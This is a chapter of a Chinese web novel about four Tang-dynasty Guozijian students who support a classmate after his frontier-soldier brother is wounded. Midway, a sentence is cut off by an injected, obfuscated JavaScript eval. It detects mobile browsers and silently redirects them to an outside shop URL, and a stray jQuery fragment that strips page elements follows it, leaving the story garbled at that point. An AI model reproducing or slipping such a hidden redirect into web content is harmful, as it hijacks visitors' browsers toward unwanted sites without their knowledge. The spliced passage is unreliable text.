九月初三，午后。
国子监的槐树开始落叶了。不是一下子全落，是一片一片地、有选择地落，像有人在树上挑挑拣拣，挑到最后觉得都不舍得，又全留下了。
怀瑾坐在甲字三号斋舍的窗前，拿了一片刚落的槐叶在手指间翻来翻去。叶子还是绿的，但绿得有点累了，像熬了夜的人强撑着不闭眼。
长风不在，说是去绳愆厅取这个月的束脩核销单，顾家的束脩是每季度从陇右汇来的，走的是军需驿路，有时候快有时候慢，慢的时候长风得自己去问。
怀瑾翻着叶子想：今天天气不错，下午阮博士的《诗经》课应该不会点名，上次点名他答"雎鸠是水鸟"，阮博士说"你还在用鸟的视角答题"，言下之意是你答了三遍还是一个视角。
门"砰"地被推开了。
不是撞开的，是推得急但又在最后一刻收了力，所以发出的是"砰"而不是"哐"。能做到这个力道的，甲字三号里只有一个。
长风站在门口。
怀瑾第一眼看到的是长风的脸，不是表情，是颜色。长风的脸平时是那种晒得很均匀的麦色，现在麦子被人泼了一盆冷水，颜色沉下去了。
第二眼看到的是长风的手，左手攥着什么东西，攥得很紧，指节发白。不是拳头，是握着一封折过的信，信纸的边角从拳头缝隙里露出来，已经被手汗洇软了。
第三眼，怀瑾没看第三眼。他站起来，绕过案桌，走到门口。
长风没说话。
怀瑾也没说话。
两个人就这么在门口站了大概三息，怀瑾数了自己的心跳三下，一下、两下、三下。
然后怀瑾伸手，把长风攥着信的那只手轻轻掰开了。
信纸展开，字迹很急，是顾家老仆顾伯的字体，长风说过，顾伯写字像蚂蚁爬，但每一笔都用力，因为老花眼，得凑到纸跟前才写得清楚。
信不长：
"二郎亲启。你兄长于八月十七在朔方军演中伤了左臂，箭创，已包扎。将军说无大碍，休养旬日可复。勿念。顾伯。"
八月十七。
今天是九月初三。
信在路上走了十七天。
怀瑾把信念完了，把信折回去，塞进长风的手里。然后他说了一句话，声音很平，平得像在说今天天气不错下午不用跑操。
"你哥命硬。"
长风看着他。
然后长风的嘴角动了一下，不是笑，是那种想笑但肌肉不听话、只能抽动一下的感觉。
"是啊，"长风说，"我哥命硬。"
他走进斋舍，把信放在自己床头的案几上，用镇纸压好。然后他坐到床沿上，两只手垂在膝盖中间，看着地板上的砖缝。
怀瑾没再说话。他回到窗前，把那片槐叶放进了窗台的砖缝里，叶脉朝上，像搁了一艘很小很小的船。
明远进来的时候，看到的是这样一幅画面：长风坐在床沿看地板，怀瑾坐在窗前看叶子，知微不在，知微大概又去射圃了，他最近每天下课后都去，说是"弓弦换了新丝，得磨合"。
明远没问。
他放下手里那本《大业拾遗记》，是从典籍厅借的，讲隋炀帝的事，走到自己床边坐下，翻开书，开始读。
但怀瑾注意到，明远翻了三页，页码没变。
---
申时，郑博士的《孝经》课。
郑博士今天讲《小雅·蓼莪》。
"蓼蓼者莪，匪莪伊蒿。哀哀父母，生我劬劳。"
郑博士的声音不大，但在秋下午的日光里，每个字都像被晒暖了，落下来的时候带一点温度。
"这首诗，"郑博士说，"讲的是'报'。不是报恩，恩是记的，报是做的。父母生你养你，你拿什么报？有些人拿功名，有些人拿平安，有些人..."
他停了一下。
"有些人拿不去。因为来不及了。"
教室里很安静。一百来个国子学、太学、四门学的学生坐在一起，平时互相看不起的三拨人，今天坐在一起听同一首诗，安静得像一个人在听。
郑博士的目光慢慢扫过课堂。
扫到长风的时候，停了大概一息，长风坐着，腰板笔直，但眼睛看着窗外的槐树。不是走神，是在看叶子落不落。
郑博士没点他名。
又扫到怀瑾，怀瑾坐得端端正正，桌上摊着《毛诗正义》，但笔没动。
郑博士也没点他名。
然后目光扫到明远，明远在低着头抄笔记，笔速均匀，但郑博士大概看出来了，明远的笔在纸上停了一下，极短，但停了。
"下课前交一篇短札，"郑博士说，"题目：'报'之一字，如何体会？不必长，三百字足够。"
课堂里响起一片翻纸声。
长风没翻纸。
怀瑾用胳膊肘碰了碰他。
"写。"怀瑾小声说。
"我知道。"长风说。
他拿起笔，蘸了墨，对着空白的纸想了很久。久到怀瑾都写完半篇了，他还在想。
最后他写了，
"报之一字，我以前觉得是等我长大了给我哥争气。现在觉得不是。现在觉得报是我哥在边关打仗，我在国子监好好活着。不用争气，活着就行。活着就是不让他白打。"
写完他看了看，觉得最后一句不太好，"不让他白打"听起来像在骂他哥白打了。想改，但交纸的时间到了。
郑博士收纸的时候，经过长风桌边，扫了一眼他的纸。
没说话。
但怀瑾看到了，郑博士的嘴角动了一下，不是笑。是"我听到了"的意思。
---
戌时，斋舍。
知微回来了。手里拎着一个小包袱，不知道装了什么。
他一进门就看到了，长风坐在床沿看地板，跟申时怀瑾看到的一模一样，只是现在点了一盏灯，地板的砖缝看得更清楚了。
知微没问。
他把小包袱放在自己床头，然后坐下来，从包袱里取出一样东西。
是一双护臂。
不是布的，也不是皮的，是皮和布缝在一起的，皮在外，布在内，皮是新的、深褐色、边缘已经用蜡线缝死了，布是旧的、灰白色、摸上去很软，像是哪件旧衣服裁下来的。
知微把护臂递给长风。
"给你的，"他说，"你上次说射久了两臂内侧磨得疼。这个皮在外，挡弦；布在内，吸汗。旧的布是我从家里带来的那件冬袍裁的，洗过很多次了，软。"
长风接过来，翻来覆去地看。护臂缝得很细，皮的边缘没有一根毛刺，线脚密得跟买的差不多，但看得出来是手工缝的，因为每针的间距不是完全一样的，有个别几针稍微宽了一丝丝。
"你什么时候做的？"长风问。
"下午。"知微说。
下午，下午知微不是在射圃磨合弓弦吗？
"你在射圃抽空做的？"
"嗯，"知微说，"边射边等弓弦的时候，手闲着也是闲着。"
怀瑾在旁边听着，心想：知微的手"闲着"的时候从来不是真的闲着，那只手在给朋友做护臂的时候，脑子在同速运转，帮朋友想所有他没想到的事。
长风把护臂戴上了。左右手各一只，皮在外，布在内，刚好贴住小臂内侧最容易被弓弦刮到的位置。他举了举手，弯了弯胳膊。
"刚好，"长风说，"不紧不松。"
"我试过，"知微说，"在自己手上试的。我手臂比你细一点，所以给你做的时候放宽了半分。"
这句话说完，斋舍里安静了三息。
怀瑾突然觉得，知微这个人，他的"看见"不是用眼睛的，是用整个人的。他看见的不是"长风需要护臂"，他是看见了"长风知道了哥哥受伤的事以后，接下来会拼命练射，练到两臂磨破"，然后在那之前，把护臂做好了。
这不是反应。这是预判。
明远放下书，站起来，走到长风面前。
他从自己枕头底下摸出一样东西，是用布包着的一个小圆球，布是深灰色的，包得方方正正。
"给你的，"明远说，"白天在药铺买的。跌打损伤的膏，你哥信里说箭创，军中的药不如长安的药。你寄回去。"
长风接过布包，打开，里面是六枚拇指大的药膏丸，用蜡封着，蜡壳上还有药铺的戳记。
"你什么时候，"长风又问了一遍一模一样的问题。
"午休的时候，"明远说，"典籍厅隔壁就是药铺。我抄完经义去买的。"
明远午休的时候不睡觉，这个怀瑾知道。但怀瑾不知道他午休的时间够做这么多事：抄经义、去药铺、选药膏、包好、藏到枕头底下，全程不被任何人发现。
"你不问问我哥的事？"长风看着手里的药膏，突然说。
明远看了他一眼。
"你想说的时候会说，"明远说，"我不想问。问了就是觉得你应该说，但你不一定想说。"
这句话说完，怀瑾发现自己在看明远。
不是第一次看了，但从今天开始，他看明远的方式好像变了一点。以前看明远，看到的是一个"不会表达的人在用分析代替表达"；今天看，看到的是"一个不表达的人，表达出来的东西比所有人加起来都重"。
长风把药膏布包好了，放在枕头旁边。
然后他站起来。
"去射圃，"他说。
语气不是邀请，是通知。
怀瑾站起来。
明远站起来。
知微已经站起来了，他一直在等这三个人站起来。
---
国子监的射圃在斋舍西北角，挨着漕渠的渠堤。白天是教学场，学生们在这里上月度习射课；日落以后就空了，只有值夜的斋夫提着灯笼从墙外走过，灯光从墙头上飘过去，像月亮掉进渠里又浮上来了。
四个人走到射圃的时候，天刚擦黑。
长风从肩上取下弓，不是国子监公用的练习弓，是他自己带来的那张，桑木弓臂，角片弓弭，弓弦是新换的丝弦，在暮色里泛着很淡的银光。
他挂上箭囊，里面大概有十几支箭，铝箭头（军用的，不是国子监教学用的铁箭头），羽翅是鹰羽，不是雁羽。
怀瑾注意到这些细节，不是因为他懂弓箭，是因为长风提箭囊的方式跟平时不一样。平时是随手一提，今天是先看了一眼箭囊里的箭数，然后两只手一起提的，像在确认什么。
长风走到射位上，站定。
然后他射出了今天第一箭。
箭出去的声音很大，"嗡"的一声，弦震空气的那个瞬间，整个射圃都安静了，连渠里的蛙都停了。
箭中靶，红心偏左一寸。
长风没说话，抽第二支箭，搭弦，拉满，放。
第二箭，红心偏右半寸。
第三箭，红心。
第四箭，红心。
第五箭，红心。
第六箭，长风的手抖了一下，箭出去的时候尾羽歪了，中在红心下方两寸。
他停下来。
站在射位上，低着头，呼吸变重了。
怀瑾走过去，没站到他旁边，站到了他背后。不是要说什么，是要让长风知道，有人在身后。
明远坐在射圃边的石墩上，怀里抱着长风的箭囊，他不知道什么时候拎过来的，大概是来的路上顺手拿的。现在他把箭一支一支地检查，看箭杆直不直、箭头紧不紧、羽翅有没有松。
知微蹲在渠堤边上，不知道在干什么，怀瑾看了一眼，发现知微在用手试渠水的温度，试完以后在点头，像是在确认什么数据。
长风又射了七箭。
十二箭射完，他把手里的弓往地上一放，整个人坐到了地上。
坐下来的动作很重，不是摔，是力气用完了，收不住了，就这么坐下去了。
然后他说了那句话。
声音不大，但射圃这么安静，每个人都听到了。
"我哥在边关卖命，"长风说，"我在国子监抄经。你说我这弟弟当得算什么。"
这句话落在地上，没有回音。
怀瑾在他旁边坐着。他没有马上回答，因为他知道这个问题不是要答案的，是要被听见的。
所以他说了第二句话，不是在第一句之后马上说的，是等了大概五息，等那句话在地上有了一点温度，不再烫手了，才说的。
"算什么？"怀瑾说，"算他肯卖命的原因之一。"
长风转头看他。
"他得有个弟弟在家好好活着，"怀瑾说，"他才敢往前冲。你要是也跑去边关，他打起仗来还得分心想着你。你现在在国子监，就是帮他。"
长风看着他，嘴唇动了动，没出声。
然后他的眼眶红了。
不是哭，长风不会哭，至少不会在别人面前哭。但他的眼眶红了，红得很明显，在暮色里像两粒被灯火照到的琥珀。
"你说得对，"长风说，声音有点哑，"但我还是，"
他说不下去了。
怀瑾没追问。他伸手，把长风弓旁边那壶水拎过来，拔掉塞子，递过去。
长风接过去喝了一口，然后呛了一下，"咳咳咳"地咳了三四声。
"慢点，"怀瑾说，"你哥又不跟你抢。"
这句话说完，长风的咳停了。
然后他笑了。
不是嘴角动一动的那种笑，是真正笑了一下，虽然眼角还红着，但嘴角是弯的，弯得跟以前一样大。
"你嘴还是这么损，"长风说。
"跟你学的，"怀瑾说。
---
第二天，九月初四。
长风上课走神了三次。
第一次是早上郑博士的《孝经》课，郑博士问"立身行道，扬名于后世，以显父母，孝之终也"一句如何理解，点了长风的名。
长风站起来，张了张嘴——
"这个..."
然后他闭嘴了。
不是答不上来，是他脑子里突然出现了哥哥在边关的画面，是他自己从来没见过的画面，但就是出现了：哥哥穿着半旧的军袍，左臂绑着纱布，站在朔方的风里，背后是一面军旗，旗上写着"顾"字。
"顾长风。"
郑博士又叫了一声。
"在，"长风说，"我认为...立身行道，先得立住。站都站不稳，谈什么行道。"
郑博士看了他一眼。
"坐下，"郑博士说，"抄五遍。"
长风坐下，开始抄。抄到第三遍的时候，他发现知微在他旁边放了杯茶，什么时候放的？他完全没注意到。
茶是菊花加姜丝，跟上次岁考时喝的一模一样。
---
第二次走神是在阮博士的《诗经》课上。
阮博士讲《魏风·陟岵》，"陟彼岵兮，瞻望父兮。父曰：嗟予子行役，夙夜无已。"
这是一首行役在外的儿子怀念父亲的诗，但今天坐在教室里听，感觉完全反了，是父亲（或者哥哥）行役在外，儿子在家怀念。
长风看着书上的字，"父曰：嗟予子行役，夙夜无已"，脑子里的画面又换了：这次是哥哥坐在军帐里，就着一盏油灯看家书，看到"二郎亲启"四个字的时候，嘴角弯了一下。
然后灯灭了。
"顾长风。"
又是阮博士。
"你在看什么？"
"看..."长风看着阮博士，"看我哥。"
课堂里安静了一瞬。
阮博士的表情没变，他的表情从来不变，但怀瑾注意到，阮博士拿书的手松了一下。
"下课后留一下，"阮博士说。
---
第三次走神是在下午的自习时间。
国子监申时到酉时是自习时间，学生可以在斋舍读书，也可以去典籍厅查阅资料。长风选了去射圃，不是练射，是坐在看台上看天空。
长安九月的天空很高，蓝得几乎是透明的，有几缕白云挂在很远的地方，动得很慢很慢，像也是不急着去哪。
长风坐在看台上想：我哥现在能看到的天空，跟我看到的是同一片吗？
朔方在天宝二年的版图上，在长安正北偏西一千八百里。一千八百里，怀瑾说过，这个距离，信要走十五天到二十天。
他哥箭伤的消息，走了十七天。
那他哥现在，伤口好了没有？军演结束了没有？秋天朔方冷不冷？去年冬天他给哥哥寄的冬靴收到没有？
这些问题在脑子里打转，转着转着就变成了另一组问题——
我在国子监算什么？嫡次子的本分是准备接班，接我哥的班，如果我哥回不来。但我哥回得来的，他命硬。可万一呢？万一我得接呢？我接什么？我有什么可以接的？会读两句书能当将军吗？
"不能，"长风对自己说，"所以不能等。"
他从看台上站起来。
走回斋舍的路上，碰到了明远。
明远站在斋舍门口，手里拿着一个纸包，又是药铺的纸包，但比昨天的那个大一圈。
"这是什么？"长风问。
"第二种药膏，"明远说，"昨天那种是内服的，跌打损伤丸。这个外用的，治箭创后期恢复。典籍厅的刘博士去过朔方，我问他要的方子，去药铺配的。"
"你怎么知道箭创后期用什么药？"
"问了，"明远说，"问了三个人。一个说白芷，一个说丹参，一个说三七。我查了《唐本草》，三个都对，但丹参最对症，箭创是外伤加血瘀，丹参活血，但不能用太多，会出血。所以配了白芷丹参三七三样，比例是三比二比一。"
长风看着他。
"你是不是，把所有能做的事都做完了？"
明远想了想。
"还没有，"明远说，"药膏要寄过去。驿传太慢，我去商馆找胡商，他们有快马。还有，你要写一封信。你写了一半了，在你枕头底下。"
长风愣住了。
"你翻我枕头？"
"没翻，"明远说，"你今天自习不在，被子没叠，枕头歪了，信封角露出来了。我看到了，但没有翻。"
---
九月初五，长风的信寄出去了。
不是走驿传，明远找了西市的粟特胡商，花了长风半吊钱，用商队的快马送，十天能到朔方。
信不长，但跟顾伯那封不一样，顾伯的信是老花眼凑着纸写的，字大内容短；长风的信是写完撕了重写三遍才定稿的，内容不长但每个字都挑过。
信里写了什么，怀瑾不知道。但长风重写那三遍的纸篓，怀瑾看过一眼，第一遍写了一半撕了，第二遍写完了但觉得语气不对又撕了，第三遍写完了放在桌上反复看了一个时辰才折好塞进信封。
怀瑾从纸篓里捡了第一遍的废纸，长风写废的纸，反面有时候能看到几个字。
第一遍写着："哥你怎么样了伤好了没有我在国子监挺好的。"
撕了。
大概是觉得"挺好的"三个字太假。
第二遍写着："哥，朔方的秋天冷不冷？去年给你寄的靴子你收到了吗？如果没有..."
也撕了。
大概是觉得没收到就是没收到，问了也没用。
第三遍长风写了什么，怀瑾不知道。但他在折好信封的时候，说了一句"行了"。
那个"行了"的语气，不是"满意"，是"能寄了"。
能寄了就够了，不用满意。
---
初五晚上，四个人又去了射圃。
这次不是长风说"去射圃",是怀瑾说的。
"去射圃，"怀瑾说。
语气跟早上长风说"去射射"的时候一模一样，不是邀请，是通知。
长风看了他一眼，然后笑了，"行。"
这一次长风射箭的时候，怀瑾站在射位旁边看他，不是看射得准不准，是看他的手。
长风拉弓的手，左手持弓、右手拉弦，左手的护臂是知微做的，皮在外布在内；右手的指套也是知微做的，鲨鱼皮，双层。
一箭出去，红心。
二箭，红心。
三箭，红心。
不像昨天的"十二箭中只有四箭红心"，今天前三箭全中。
怀瑾突然明白过来：昨天长风射不准，不是因为手生了，是因为脑子里有东西在晃，晃得手不稳。今天脑子里不晃了，或者晃的东西变了，从"我哥会不会有事"变成了"我得活着"，手就稳了。
第四箭，右偏一寸。
第五箭，红心。
第六箭，红心偏下半寸。
第七箭，弦响的时候，怀瑾听到一个不一样声音，"崩"而不是"嗡"。
然后弦断了。
断的地方在弓弭的根部，丝弦用了太久，新换的这批质量不过关，加上长风今天拉得比昨天狠。
弦断的一瞬间，弓臂弹回去，"啪"的一声打在长风左手腕上。
不是重伤，但很疼。长风本能地缩手，弓掉在地上，左手腕红了一道。
知微第一个到。
他从怀里掏出一样东西，是一根备用的弓弦。什么时候准备好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645912|205690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的？怀瑾不知道。但知微的怀里永远有备用的弓弦、备用的箭羽、备用的药膏，好像他从认识长风的第一天起就把"备用"两个字刻进了自己的行囊。
明远第二个到。手里拿着刚才射出去的那堆箭，一支一支地检查，大概是在确认有没有因为弦断那一箭而损坏。
怀瑾第三个到。他在长风左边坐下来，看看手腕，红了，但没破。
"没事，"长风说，"我哥第一次上战场被马踢了胸口，那才叫伤。我这叫挠痒痒。"
"你哥被马踢了胸口？"怀瑾问，"你以前怎么没说？"
"因为不值当说，"长风说，"踢了就踢了。将军说'上了战场马踢人是小事，你踢回马才是本事'。"
"那你踢回马了没有？"
"没有，"长风说，"我那时候还没上战场。是我哥说的，替他说的。"
怀瑾愣了一下。
然后他笑了。
"你哥说话挺有意思的。"
"是啊，"长风看着地上的弓，"我哥说话比我有意思多了。可惜他不在。"
这句话说完，射圃里又安静了。
但这次安静没持续多久，因为知微已经把新弦换好了，弓重新张起来，放在长风脚边。
"换好了，"知微说，"丝弦还是那批，这批质量不好。我明天去东市买新的。你要是想射，等明天。"
长风低头看着脚边的弓。
然后他抬头，看了一眼天空。
九月初五的月亮是下弦月，半夜才升起来，现在天空只有星星，没有月亮。但星星很多，银河横在头顶，像一条不发光的河。
"我哥说边关的星星比长安亮，"长风说，"我今天信了。"
---
九月初八，明远收到了回信。
不是长风哥哥的回信，那封信走快马也要到十五以后才能到朔方，回信更晚。明远收到的是他自己的信，从家里来的。
信是叔叔陆敬亭写的。不是父亲陆敬渊，父亲被贬外州已经半年了，音信不多。叔叔代笔，说父亲在外州"安好"，"饮食如常"，"勿念"。
两个字"安好"、四个字"饮食如常"、两个字"勿念"，明远看了一遍，把信折好，放进怀里，继续读书。
怀瑾看到了。
但他没问。
就像明远没问长风"你哥怎么样了"一样，不问，是因为知道对方想说的时候会说。
但到了晚上，四个人又坐在射圃的时候，这一次没射箭，就是坐着，明远先开口了。
"我父亲被贬了，"明远说。
声音很平。像在念一条记录。
长风转头看他。
"什么时候的事？"长风问。
"半年前，"明远说，"天宝元年十一月。秘书监，降外州司马。连降六级。"
半年前，那天是什么日子？怀瑾想了想。天宝元年十一月，那时候他们在干嘛？在准备岁考。在屋顶看长安灯火。
"你，"长风开口。
"没事的，"明远说，"我说了。我说了就没事了。"
他重复了两遍"我说了"第一遍是说给长风听的，第二遍是...怀瑾不太确定说给谁听的。
"你没跟任何人说过，"怀瑾说。
"说了你们也做不了什么，"明远说，"而且，我不想你们用看我父亲的眼神看我。我不需要同情。我需要的是..."
他停了。
"需要的是什么？"知微问。
明远看着知微，大概是他第一次直视知微问出的问题而不是旁敲侧击地观察。
"需要有人让我觉得，说这件事跟没说一样，"明远说，"说了之后，东西还在那里，但我不用再一个人扛着了。"
知微点点头。
然后他从怀里掏出一样东西，又是一双护臂。跟给长风的那双一模一样，但尺寸大了一号。
"给你的，"知微说，"你的手，翻书翻得比谁都多，指节比谁都硬。也需要。"
明远接过护臂，翻了翻，跟长风那双一样，皮在外，布在内。但这一双的布不是灰白色，是深蓝色。
"深蓝是我娘衣服的颜色，"知微说，"那件衣服洗了很多次了，蓝色退得只剩一点，但还在。"
明远把护臂戴上了。
深蓝色的旧布贴着手腕内侧，翻书的时候，这个地方磨得最多。
"好看，"明远说。
知微没说话。但怀瑾看到知微的耳朵又红了。
这个人在表达善意的时候，耳朵比嘴诚实一百倍。
---
九月初十，长风收到了回信。
比预想的快，快马十三天就到了，比驿传快了一倍。
信还是顾伯写的，但这次后面多了一段，字不一样，有力得多了，是顾长风的哥哥顾长云亲笔写的。
"二弟亲览。兄伤已大好，不影响拉弓。勿念。边关秋凉，多穿衣。娘说得对。兄长云。"
末尾那一笔"云"字拉得很长，收尾的时候墨重了一下，像是写完了又按了一下笔。
怀瑾看过信以后想：这一按，是按给弟弟看的。"我没事，但如果你想让我多说两个字，我按一下。"
长风把信折好，和顾伯那封收在一起，两封信，一旧一新，旧的那封纸角都软了，新的这封墨迹还没完全干透。
"我想请两天假，"长风说，"回去看看我娘。"
怀瑾转头看他。
"你看信上写的'娘说得对'。你娘说什么了？"
长风沉默了一下。
"我娘..."他说，"我娘每次我哥出征回来，第一件事是摸他的手，看他手上有没有新茧。有新茧就说明又打仗了。我娘不说，但我知道她在摸。"
怀瑾想起了自己的娘，临走前塞桂花糕、塞笔袋、塞芝麻饼，也是不说，但什么都做了。
天下的娘好像都这样。不说，但让你看出来。
"请假的事，"怀瑾说，"我陪你去绳愆厅说。"
"你陪我去？"
"嗯，"怀瑾说，"两个人去比一个人去管用。赵监丞吃软不吃硬，你一个人去他要公事公办，我陪你去他就得多想一层。"
"想什么？"
"想我为什么要陪你来，"怀瑾说，"赵监丞这个人，凡事都往人心那一层想。这是他的毛病，也是他的好处。"
---
九月初十申时，怀瑾陪长风去了绳愆厅。
赵监丞在。桌上摊着一摞考勤册，正在批，不是批考勤，是在每页的边角写小字批注，写的是什么怀瑾看不清，但看到了赵监丞用的是一支秃笔，笔锋都散了，写一个字得蘸两次墨。
"赵监丞，"怀瑾说，"顾长风有事。"
赵监丞抬头，目光先扫长风，再扫怀瑾，再落回手里的秃笔。
"说。"
"学生家中兄长军中受伤，已收到家信。学生想告假两天，回家探望母亲。"
赵监丞放下笔。
"两天不够，"赵监丞说，"来回路上就要两天。给你五天。"
长风愣了一下。
"五天？"
"初十到十五，五日。十五日必须归监，"赵监丞说，"归监后补课，你这个月的经义进度要追上。还有..."
他从抽屉里取出一样东西，是初八那天没收的弓弦（长风换下来的那根断弦，赵监丞收在抽屉里），现在用布包好了递出来。
"这弦是劣质丝，东市第三行最里头那家铺子卖的。我让人查过。你下次买弦去第二行那家，掌柜姓沈，他卖的是湖州丝。"
长风接过布包，低头看了看，弦断的地方被重新接好了，接得很好，几乎看不出断过。
"你..."长风说。
"不是我接的，"赵监丞说，"膳房刘师傅接的。他年轻时候在弦坊做过工。我让他看看能不能接，他说能。就接了。"
"接好了，你就用。断了再接。弓弦嘛，断是正常的。"
赵监丞说完这句话，低头继续批他的考勤册。但怀瑾注意到，赵监丞拿起秃笔蘸墨的时候，手顿了一下。
顿的那一下，怀瑾很确定，是在想自己的事。
赵监丞年轻时候，是不是也有过一张弓？
怀瑾没问。
拉着长风退出了绳愆厅。
---
九月十一日清晨，长风离监回家。
怀瑾送他到国子监门口。
长风背着包袱，不大，就几件换洗衣物和那包接好的弓弦。站在门口回头看了一眼国子监的大门，门上的红漆在晨光里很亮。
"我走了，"长风说。
"嗯，"怀瑾说，"五天。别超。"
"我知道，"长风说，"十五日回来。带着我娘做的酱牛肉。"
"酱牛肉？"
"我娘做的酱牛肉全长安第一，"长风说，"我哥每次回来都带。这次我回去，我带回来给大家吃。"
他转身走了。
走了几步，又回头。
"怀瑾。"
"嗯？"
"谢谢你。"
然后他走了。没等怀瑾回答。
怀瑾站在国子监门口，看着长风的背影片进晨雾里，跟去年怀琰送他来国子监时，他回头看怀琰的背影那个画面，角度几乎一样。
都是送，都是背影，都是没有说出口的那句话。
怀瑾站了一会儿。
然后他转身回了斋舍。
斋舍里，明远已经在读书了，今天读的是《礼记》，桌上摊着，但手边多了个纸镇，青石的小石子，不值钱，但压纸很稳。
知微不在，大概是去射圃了。
怀瑾坐到自己的案前，打开那本《毛诗正义》，翻到《小雅·蓼莪》。
"蓼蓼者莪，匪莪伊蒿。哀哀父母，生我劬劳。"
他轻声念了一遍。
然后拿起笔，在书页空白处写了一行字。
"报之一字，有人拿功名，有人拿平安，有人拿一辈子。"
写完，他看了看。觉得最后四个字不太对，"拿一辈子"好像太重了。想改，但没改。
留着吧。
有些字写错了不是错，是那个时刻你真的那么想的。
窗外，九月的槐叶终于开始落了。一片一片，不急，但确定。
怀瑾伸手接了一片，叶子还是绿的，但绿得没力气了。
"快了，"他轻声说。
不是对谁说的。是对这片叶子说的。
叶子不回答。但落在了他的掌心。